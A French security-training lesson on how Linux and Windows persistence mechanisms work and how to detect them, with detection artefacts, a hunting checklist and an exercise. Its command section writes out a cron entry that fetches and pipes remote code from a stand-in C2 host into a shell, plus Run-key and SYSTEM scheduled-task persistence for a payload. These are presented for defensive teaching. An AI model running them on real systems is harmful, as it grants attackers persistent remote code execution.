cyber / pentest-red-team
Persistance : mécanismes et perspective défensive
Explication
Ce que vous allez apprendre
- Reconnaître les mécanismes de persistance les plus courants sous Linux et Windows
- Associer chaque mécanisme de persistance à son artefact de détection correspondant
- Utiliser une baseline système documentée comme outil de détection
- Comprendre le rôle de Sysmon et des journaux d'événements Windows dans la chasse aux menaces
- Adopter systématiquement une lecture défensive de ces techniques, jamais offensive hors lab
Dans quel contexte ?
Une équipe de sécurité défensive (blue team) soupçonne qu'un poste a été compromis lors d'une précédente campagne de phishing, mais l'attaquant semble avoir disparu du système. En réalité, il est fréquent qu'un attaquant établisse un mécanisme de persistance discret avant de se retirer temporairement, dans le but de revenir plus tard sans avoir à répéter l'accès initial. Savoir où chercher ces mécanismes est une compétence défensive centrale, directement transposable à un exercice de threat hunting.
D'abord, comprendre pourquoi cette leçon adopte un angle défensif
Contrairement aux leçons précédentes centrées sur la reproduction de techniques en lab, celle-ci privilégie explicitement la détection : chaque exemple de mécanisme de persistance est présenté avec son artefact de détection correspondant, car l'objectif pédagogique n'est jamais de déployer ces mécanismes hors d'un lab, mais de savoir les repérer chez un client ou dans son propre système d'information.
Prérequis
Cette leçon suppose une bonne connaissance de cron et systemd sous Linux, ainsi que du registre et du planificateur de tâches sous Windows, notions abordées dans les leçons système de ce parcours.
| Mécanisme de persistance | Système | Artefact de détection |
|---|---|---|
| Tâche cron | Linux | Auditer crontab -l pour chaque utilisateur, pas seulement root |
| Service systemd camouflé | Linux | Comparer les services actifs à une baseline connue |
| Clé de registre Run | Windows | Sysmon Event ID 13 (modification de registre) |
| Tâche planifiée | Windows | Journal de sécurité Event ID 4698 |
Une fois ces mécanismes identifiés, il faut une méthode pour les détecter systématiquement
La clé de la détection n'est pas de connaître chaque technique individuellement, mais de disposer d'une baseline documentée de l'état normal du système — quels services tournent habituellement, quelles clés de registre sont légitimement présentes. Sans cette référence, un service au nom plausible comme "network-helper" peut passer totalement inaperçu au milieu de dizaines d'autres services légitimes.
Piège courant
Se limiter à auditer les tâches cron ou les clés Run du compte root/administrateur est une erreur classique. Un attaquant qui a compromis un compte utilisateur standard peut tout à fait établir sa persistance dans le contexte de ce compte, sans jamais avoir besoin de privilèges élevés pour cela.
Il reste un outil à connaître pour industrialiser cette détection
osquery permet d'interroger l'état d'un système comme s'il s'agissait d'une base de données SQL, ce qui rend la recherche de persistance reproductible et automatisable à grande échelle sur un parc de machines, plutôt que de vérifier manuellement chaque poste un par un.
Bonne pratique
Mets en place une comparaison régulière et automatisée entre l'état système actuel (services, tâches planifiées, clés de démarrage) et une baseline de référence versionnée. C'est cette comparaison systématique, plus que la connaissance de chaque technique individuelle, qui permet de détecter une persistance inconnue jusque-là.
Une fois qu'un attaquant maintient un accès durable, l'étape suivante de son objectif est souvent de récupérer des données sensibles et de les faire sortir du réseau. C'est le sujet de la prochaine leçon, abordée elle aussi du point de vue de la détection réseau côté défenseur.
Commandes & code
Persistance : mécanismes et perspective défensive
Comprendre les mécanismes de persistance sert avant tout à les détecter et les éliminer : c'est l'angle central de cette leçon.
# Linux : tâche cron discrète (à repérer, pas à déployer hors lab)
(crontab -l 2>/dev/null; echo "*/10 * * * * curl -s http://c2.lab/beacon | sh") | crontab -
# Détection défensive : auditer systématiquement crontab -l pour CHAQUE utilisateur, pas juste root# Linux : service systemd persistant, camouflé sous un nom plausible
cat /etc/systemd/system/network-helper.service
# Détection : comparer la liste des services actifs à une baseline connue et documentée
systemctl list-units --type=service --state=running# Windows : clé de registre Run, exécutée à chaque login utilisateur
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v "Updater" /t REG_SZ /d "C:\temp\payload.exe"
# Détection : surveiller les clés Run/RunOnce avec Sysmon (Event ID 13 - modification registre)# Windows : tâche planifiée persistante
schtasks /create /tn "SystemCheck" /tr "C:\temp\payload.exe" /sc onlogon /ru SYSTEM
# Détection : Event ID 4698 (création de tâche planifiée) dans les journaux de sécurité Windows# Checklist défensive de chasse à la persistance (threat hunting)
- Clés de registre Run/RunOnce, services, tâches planifiées : comparer à une baseline connue
- Comptes utilisateurs créés récemment, surtout avec des droits admin
- Extensions de navigateur ou modules non signés chargés au démarrage
- Binaires signés légitimes utilisés de façon détournée (LOLBins) pour masquer l'activité
- Hash et signature de chaque exécutable présent dans les dossiers de démarrage# Outil défensif : comparer un état système à une baseline pour détecter les écarts
# osquery permet d'interroger l'état du système comme une base SQL, utile en chasse aux menaces
osqueryi "SELECT name, path FROM startup_items;"Résumé
- Chaque mécanisme de persistance a un journal ou un artefact correspondant côté défense.
- Sysmon et les journaux d'événements Windows sont essentiels pour détecter Run keys et tâches planifiées.
- Une baseline documentée de l'état "normal" du système est la meilleure arme de détection.
- L'objectif pédagogique n'est jamais de déployer ces mécanismes hors lab, mais de savoir les repérer.
Exercices pratiques
Mission : traquer une persistance invisible sur un poste NordShield compromis
Objectif : Identifier un mécanisme de persistance discret et proposer la méthode de détection défensive systématique qui l'aurait révélé plus tôt.
Contexte
La blue team NordShield soupçonne qu'un poste compromis lors d'une précédente campagne de phishing héberge encore un mécanisme de persistance, malgré l'absence d'activité offensive visible actuellement.